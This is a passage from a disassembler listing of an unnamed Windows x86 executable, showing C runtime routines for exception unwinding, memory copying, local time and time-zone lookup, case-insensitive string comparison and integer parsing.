[ebp+arg_0] call sub_42274C ; RtlUnwind loc_417C24: ; DATA XREF: sub_417BFC+11o mov eax, [ebp+arg_4] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+arg_4] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp+var_8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 sub_417BFC endp ; --------------------------------------------------------------------------- loc_417C4B: ; CODE XREF: .data:00422DECj ; .data:00422E09j ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_41C9AA add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417C81 proc near ; CODE XREF: sub_41CE20+73p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_417CD5 inc eax mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_41D1B0 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_417C81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417CD5 proc near ; DATA XREF: sub_417C81+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_41C9AA add esp, 20h pop ebp retn sub_417CD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417CFA proc near ; CODE XREF: sub_41CBEC+25p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_417DAE mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_417D80 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_489530 pop ecx pop ecx and [ebp+var_34], 0 loc_417D80: ; DATA XREF: sub_417CFA+3Co cmp [ebp+var_4], 0 jz short loc_417D9D mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_417DA6 ; --------------------------------------------------------------------------- loc_417D9D: ; CODE XREF: sub_417CFA+8Aj mov eax, [ebp+var_28] mov large fs:0, eax loc_417DA6: ; CODE XREF: sub_417CFA+A1j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_417CFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417DAE proc near ; DATA XREF: sub_417CFA+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_417DD1 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_417E1E ; --------------------------------------------------------------------------- loc_417DD1: ; CODE XREF: sub_417DAE+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_41C9AA add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_417E0F push [ebp+arg_0] push [ebp+arg_4] call sub_417BFC loc_417E0F: ; CODE XREF: sub_417DAE+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_417E1E: ; CODE XREF: sub_417DAE+21j pop edi pop esi pop ebx pop ebp retn sub_417DAE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417E23 proc near ; CODE XREF: sub_41CA45+C6p ; sub_41CBEC+43p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_417E7A loc_417E41: ; CODE XREF: sub_417E23+52j cmp esi, 0FFFFFFFFh jnz short loc_417E4B call sub_41D252 loc_417E4B: ; CODE XREF: sub_417E23+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, [ebx+eax*4] jge short loc_417E60 cmp ecx, [eax+8] jle short loc_417E65 loc_417E60: ; CODE XREF: sub_417E23+36j cmp esi, 0FFFFFFFFh jnz short loc_417E71 loc_417E65: ; CODE XREF: sub_417E23+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_417E71: ; CODE XREF: sub_417E23+40j cmp [ebp+arg_4], 0 jge short loc_417E41 mov eax, [ebp+var_4] loc_417E7A: ; CODE XREF: sub_417E23+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_417E8E cmp esi, eax jbe short loc_417E93 loc_417E8E: ; CODE XREF: sub_417E23+65j call sub_41D252 loc_417E93: ; CODE XREF: sub_417E23+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_417E23 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417EA0 proc near ; CODE XREF: sub_41F4A0+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_417EB8 push [ebp+arg_0] call sub_42274C ; RtlUnwind loc_417EB8: ; DATA XREF: sub_417EA0+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_417EA0 endp ; =============== S U B R O U T I N E ======================================= sub_417EC0 proc near ; DATA XREF: sub_417EE2+Ao ; sub_417F4A+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_417EE1 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_417EE1: ; CODE XREF: sub_417EC0+10j retn sub_417EC0 endp ; =============== S U B R O U T I N E ======================================= sub_417EE2 proc near ; CODE XREF: sub_41CEC6+Dp ; sub_41F4A0+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_417EC0 push large dword ptr fs:0 mov large fs:0, esp loc_417EFF: ; CODE XREF: sub_417EE2:loc_417F3Aj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_417F3C cmp esi, [esp+1Ch+arg_4] jz short loc_417F3C lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_417F3A push 101h mov eax, [ebx+esi*4+8] call sub_417F76 call dword ptr [ebx+esi*4+8] loc_417F3A: ; CODE XREF: sub_417EE2+44j jmp short loc_417EFF ; --------------------------------------------------------------------------- loc_417F3C: ; CODE XREF: sub_417EE2+2Aj ; sub_417EE2+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_417EE2 endp ; =============== S U B R O U T I N E ======================================= sub_417F4A proc near ; CODE XREF: sub_41CEE6+37p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_417EC0 jnz short locret_417F6C mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_417F6C mov eax, 1 locret_417F6C: ; CODE XREF: sub_417F4A+10j ; sub_417F4A+1Bj retn sub_417F4A endp ; =============== S U B R O U T I N E ======================================= sub_417F6D proc near ; CODE XREF: sub_41D1B0+1Ep ; sub_41D1B0+40p push ebx push ecx mov ebx, offset dword_438A5C jmp short loc_417F80 sub_417F6D endp ; =============== S U B R O U T I N E ======================================= sub_417F76 proc near ; CODE XREF: sub_417EE2+4Fp ; sub_41F4A0+78p push ebx push ecx mov ebx, offset dword_438A5C mov ecx, [ebp+8] loc_417F80: ; CODE XREF: sub_417F6D+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_417F76 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417F90 proc near ; CODE XREF: sub_403FF0+5p ; sub_40418F+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_417F90 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_417FAF proc near ; CODE XREF: sub_404620+22p ; .data:004224E2p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41793B pop ecx retn sub_417FAF endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417FC0 proc near ; CODE XREF: sub_40468D+3Ap ; sub_41AAB4+2EFp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_417FE0 cmp edi, eax jb loc_418158 loc_417FE0: ; CODE XREF: sub_417FC0+16j test edi, 3 jnz short loc_417FFC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41801C rep movsd jmp off_418108[edx*4] ; --------------------------------------------------------------------------- loc_417FFC: ; CODE XREF: sub_417FC0+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_418014 and eax, 3 add ecx, eax jmp dword ptr loc_41801C+4[eax*4] ; --------------------------------------------------------------------------- loc_418014: ; CODE XREF: sub_417FC0+46j jmp dword ptr loc_418118[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41801C: ; CODE XREF: sub_417FC0+31j ; sub_417FC0+8Ej ... jmp off_41809C[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41802C+4 dd offset loc_41805C ; --------------------------------------------------------------------------- loc_41802C: ; DATA XREF: sub_417FC0+64o add byte ptr [eax-2EDCFFBFh], 8Ah push es mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41801C rep movsd jmp off_418108[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41805C: ; DATA XREF: sub_417FC0+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41801C rep movsd jmp off_418108[edx*4] ; --------------------------------------------------------------------------- align 10h and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41801C rep movsd jmp off_418108[edx*4] ; --------------------------------------------------------------------------- align 4 off_41809C dd offset loc_4180FF ; DATA XREF: sub_417FC0:loc_41801Cr dd offset loc_4180EC dd offset loc_4180E4 dd offset loc_4180DC dd offset loc_4180D4 dd offset loc_4180CC dd offset loc_4180C4 dd offset loc_4180BC ; --------------------------------------------------------------------------- loc_4180BC: ; CODE XREF: sub_417FC0:loc_41801Cj ; DATA XREF: sub_417FC0+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_4180C4: ; CODE XREF: sub_417FC0:loc_41801Cj ; DATA XREF: sub_417FC0+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_4180CC: ; CODE XREF: sub_417FC0:loc_41801Cj ; DATA XREF: sub_417FC0+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_4180D4: ; CODE XREF: sub_417FC0:loc_41801Cj ; DATA XREF: sub_417FC0+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_4180DC: ; CODE XREF: sub_417FC0:loc_41801Cj ; DATA XREF: sub_417FC0+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_4180E4: ; CODE XREF: sub_417FC0:loc_41801Cj ; DATA XREF: sub_417FC0+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_4180EC: ; CODE XREF: sub_417FC0:loc_41801Cj ; DATA XREF: sub_417FC0+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_4180FF: ; CODE XREF: sub_417FC0:loc_41801Cj ; DATA XREF: sub_417FC0:off_41809Co jmp off_418108[edx*4] ; --------------------------------------------------------------------------- align 4 off_418108 dd offset loc_418118 ; DATA XREF: sub_417FC0+35r ; sub_417FC0+92r ... dd offset loc_418120 dd offset loc_41812C dd offset loc_418140 ; --------------------------------------------------------------------------- loc_418118: ; CODE XREF: sub_417FC0+35j ; sub_417FC0+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_418120: ; CODE XREF: sub_417FC0+35j ; sub_417FC0+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41812C: ; CODE XREF: sub_417FC0+35j ; sub_417FC0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_418140: ; CODE XREF: sub_417FC0+35j ; sub_417FC0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_418158: ; CODE XREF: sub_417FC0+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41818C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_418180 std rep movsd cld jmp off_4182A0[edx*4] ; --------------------------------------------------------------------------- align 10h loc_418180: ; CODE XREF: sub_417FC0+1B1j ; sub_417FC0+208j ... neg ecx jmp off_418250[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41818C: ; CODE XREF: sub_417FC0+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_4181A4 and eax, 3 sub ecx, eax jmp dword ptr loc_4181A4+4[eax*4] ; --------------------------------------------------------------------------- loc_4181A4: ; CODE XREF: sub_417FC0+1D6j ; DATA XREF: sub_417FC0+1DDr jmp off_4182A0[ecx*4] ; --------------------------------------------------------------------------- align 4 mov eax, 0D8004181h add dword ptr [ecx+0], offset loc_418200 mov al, [esi+3] and edx, ecx mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_418180 std rep movsd cld jmp off_4182A0[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_418180 std rep movsd cld jmp off_4182A0[edx*4] ; --------------------------------------------------------------------------- align 10h loc_418200: ; DATA XREF: sub_417FC0+1F1o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_418180 std rep movsd cld jmp off_4182A0[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_418254 dd offset loc_41825C dd offset loc_418264 dd offset loc_41826C dd offset loc_418274 dd offset loc_41827C dd offset loc_418284 off_418250 dd offset loc_418297 ; DATA XREF: sub_417FC0+1C2r ; --------------------------------------------------------------------------- loc_418254: ; DATA XREF: sub_417FC0+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41825C: ; DATA XREF: sub_417FC0+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_418264: ; DATA XREF: sub_417FC0+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41826C: ; DATA XREF: sub_417FC0+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_418274: ; DATA XREF: sub_417FC0+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41827C: ; DATA XREF: sub_417FC0+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_418284: ; DATA XREF: sub_417FC0+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_418297: ; CODE XREF: sub_417FC0+1C2j ; DATA XREF: sub_417FC0:off_418250o jmp off_4182A0[edx*4] ; --------------------------------------------------------------------------- align 10h off_4182A0 dd offset loc_4182B0 ; DATA XREF: sub_417FC0+1B7r ; sub_417FC0:loc_4181A4r ... dd offset loc_4182B8 dd offset loc_4182C8 dd offset loc_4182DC ; --------------------------------------------------------------------------- loc_4182B0: ; CODE XREF: sub_417FC0+1B7j ; sub_417FC0:loc_4181A4j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4182B8: ; CODE XREF: sub_417FC0+1B7j ; sub_417FC0:loc_4181A4j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4182C8: ; CODE XREF: sub_417FC0+1B7j ; sub_417FC0:loc_4181A4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4182DC: ; CODE XREF: sub_417FC0+1B7j ; sub_417FC0:loc_4181A4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_417FC0 endp ; =============== S U B R O U T I N E ======================================= sub_4182F5 proc near ; CODE XREF: sub_4046F4+34p ; sub_4046F4+4Fp ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_41789B pop ecx pop ecx retn sub_4182F5 endp ; =============== S U B R O U T I N E ======================================= sub_418303 proc near ; CODE XREF: sub_418370+4p arg_0 = dword ptr 4 push esi push dword_48AB3C call sub_41D2A8 mov edx, dword_48AB3C pop ecx mov ecx, dword_48AB38 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi pop esi jnb short loc_418362 push edx call sub_41D2A8 add eax, 10h push eax push dword_48AB3C call sub_41914F add esp, 0Ch test eax, eax jnz short loc_418345 retn ; --------------------------------------------------------------------------- loc_418345: ; CODE XREF: sub_418303+3Fj mov ecx, dword_48AB38 sub ecx, dword_48AB3C mov dword_48AB3C, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov dword_48AB38, ecx loc_418362: ; CODE XREF: sub_418303+23j mov eax, [esp+arg_0] mov [ecx], eax add dword_48AB38, 4 retn sub_418303 endp ; =============== S U B R O U T I N E ======================================= sub_418370 proc near ; CODE XREF: sub_4047E1+1Ap arg_0 = dword ptr 4 push [esp+arg_0] call sub_418303 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_418370 endp ; =============== S U B R O U T I N E ======================================= sub_418382 proc near ; DATA XREF: .data:00425018o push 80h call sub_417889 test eax, eax pop ecx mov dword_48AB3C, eax jnz short loc_4183A3 push 18h call sub_4199DA mov eax, dword_48AB3C pop ecx loc_4183A3: ; CODE XREF: sub_418382+12j and dword ptr [eax], 0 mov eax, dword_48AB3C mov dword_48AB38, eax retn sub_418382 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4183B1 proc near ; CODE XREF: sub_404904+19Fp ; sub_405285+4Ep var_CC = byte ptr -0CCh var_32 = word ptr -32h var_24 = dword ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1A = word ptr -1Ah var_18 = word ptr -18h var_16 = word ptr -16h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0CCh lea eax, [ebp+var_10] push eax call dword_42306C ; GetLocalTime lea eax, [ebp+var_20] push eax call dword_423190 ; GetSystemTime mov ax, [ebp+var_16] cmp ax, word_4894A2 jnz short loc_418416 mov ax, [ebp+var_18] cmp ax, word_4894A0 jnz short loc_418416 mov ax, [ebp+var_1A] cmp ax, word_48949E jnz short loc_418416 mov ax, [ebp+var_1E] cmp ax, word_48949A jnz short loc_418416 mov ax, [ebp+var_20] cmp ax, word_489498 jnz short loc_418416 mov eax, dword_489490 jmp short loc_41845B ; --------------------------------------------------------------------------- loc_418416: ; CODE XREF: sub_4183B1+28j ; sub_4183B1+35j ... lea eax, [ebp+var_CC] push eax call dword_42318C ; GetTimeZoneInformation cmp eax, 0FFFFFFFFh jz short loc_418443 cmp eax, 2 jnz short loc_41843F cmp [ebp+var_32], 0 jz short loc_41843F cmp [ebp+var_24], 0 jz short loc_41843F push 1 pop eax jmp short loc_418446 ; --------------------------------------------------------------------------- loc_41843F: ; CODE XREF: sub_4183B1+7Aj ; sub_4183B1+81j ... xor eax, eax jmp short loc_418446 ; --------------------------------------------------------------------------- loc_418443: ; CODE XREF: sub_4183B1+75j or eax, 0FFFFFFFFh loc_418446: ; CODE XREF: sub_4183B1+8Cj ; sub_4183B1+90j push esi push edi lea esi, [ebp+var_20] mov edi, offset word_489498 movsd movsd movsd movsd pop edi mov dword_489490, eax pop esi loc_41845B: ; CODE XREF: sub_4183B1+63j push eax movzx eax, [ebp+var_4] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_10] push eax call sub_41D309 mov ecx, [ebp+arg_0] add esp, 1Ch test ecx, ecx jz short locret_41848B mov [ecx], eax locret_41848B: ; CODE XREF: sub_4183B1+D6j leave retn sub_4183B1 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418490 proc near ; CODE XREF: sub_404904+18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] lea eax, dword_489538 cmp dword ptr [eax+8], 0 jnz short loc_4184E3 mov al, 0FFh mov edi, edi loc_4184AC: ; CODE XREF: sub_418490+28j ; sub_418490+48j or al, al jz short loc_4184DE mov al, [esi] inc esi mov ah, [edi] inc edi cmp ah, al jz short loc_4184AC sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h xchg ah, al sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h cmp al, ah jz short loc_4184AC sbb al, al sbb al, 0FFh loc_4184DE: ; CODE XREF: sub_418490+1Ej movsx eax, al jmp short loc_418517 ; --------------------------------------------------------------------------- loc_4184E3: ; CODE XREF: sub_418490+16j mov eax, 0FFh xor ebx, ebx mov edi, edi loc_4184EC: ; CODE XREF: sub_418490+68j ; sub_418490+80j or al, al jz short loc_418517 mov al, [esi] inc esi mov bl, [edi] inc edi cmp al, bl jz short loc_4184EC push eax push ebx call sub_418E01 mov ebx, eax add esp, 4 call sub_418E01 add esp, 4 cmp bl, al jz short loc_4184EC sbb eax, eax sbb eax, 0FFFFFFFFh loc_418517: ; CODE XREF: sub_418490+51j ; sub_418490+5Ej pop ebx pop esi pop edi leave retn sub_418490 endp ; =============== S U B R O U T I N E ======================================= sub_41851C proc near ; CODE XREF: sub_41A89C+11Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_418533 add esp, 10h retn sub_41851C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418533 proc near ; CODE XREF: sub_41851C+Ep ; sub_41873B+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, [ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_41854B: ; CODE XREF: sub_418533+46j cmp dword_438C8C, 1 jle short loc_418563 movzx eax, bl push 8 push eax call sub_41A342 pop ecx pop ecx jmp short loc_418572 ; --------------------------------------------------------------------------- loc_418563: ; CODE XREF: sub_418533+1Fj mov ecx, off_438A80 movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_418572: ; CODE XREF: sub_418533+2Ej test eax, eax jz short loc_41857B mov bl, [esi] inc esi jmp short loc_41854B ; --------------------------------------------------------------------------- loc_41857B: ; CODE XREF: sub_418533+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_418589 or [ebp+arg_C], 2 jmp short loc_41858E ; --------------------------------------------------------------------------- loc_418589: ; CODE XREF: sub_418533+4Ej cmp bl, 2Bh jnz short loc_418594 loc_41858E: ; CODE XREF: sub_418533+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_418594: ; CODE XREF: sub_418533+59j mov eax, [ebp+arg_8] test eax, eax jl loc_41872B cmp eax, 1 jz loc_41872B cmp eax, 24h jg loc_41872B push 10h test eax, eax pop ecx jnz short loc_4185DC cmp bl, 30h jz short loc_4185C6 mov [ebp+arg_8], 0Ah jmp short loc_4185F8 ; --------------------------------------------------------------------------- loc_4185C6: ; CODE XREF: sub_418533+88j mov al, [esi] cmp al, 78h jz short loc_4185D9 cmp al, 58h jz short loc_4185D9 mov [ebp+arg_8], 8 jmp short loc_4185F8 ; --------------------------------------------------------------------------- loc_4185D9: ; CODE XREF: sub_418533+97j ; sub_418533+9Bj mov [ebp+arg_8], ecx loc_4185DC: ; CODE XREF: sub_418533+83j cmp [ebp+arg_8], ecx jnz short loc_4185F8 cmp bl, 30h jnz short loc_4185F8 mov al, [esi] cmp al, 78h jz short loc_4185F0 cmp al, 58h jnz short loc_4185F8 loc_4185F0: ; CODE XREF: sub_418533+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_4185F8: ; CODE XREF: sub_418533+91j ; sub_418533+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_418608: ; CODE XREF: sub_418533+16Cj cmp dword_438C8C, 1 movzx esi, bl jle short loc_418620 push 4 push esi call sub_41A342 pop ecx pop ecx jmp short loc_41862B ; --------------------------------------------------------------------------- loc_418620: ; CODE XREF: sub_418533+DFj mov eax, off_438A80 mov al, [eax+esi*2] and eax, 4 loc_41862B: ; CODE XREF: sub_418533+EBj test eax, eax jz short loc_418637 movsx ecx, bl sub ecx, 30h jmp short loc_418669 ; --------------------------------------------------------------------------- loc_418637: ; CODE XREF: sub_418533+FAj cmp dword_438C8C, 1 jle short loc_41864B push edi push esi call sub_41A342 pop 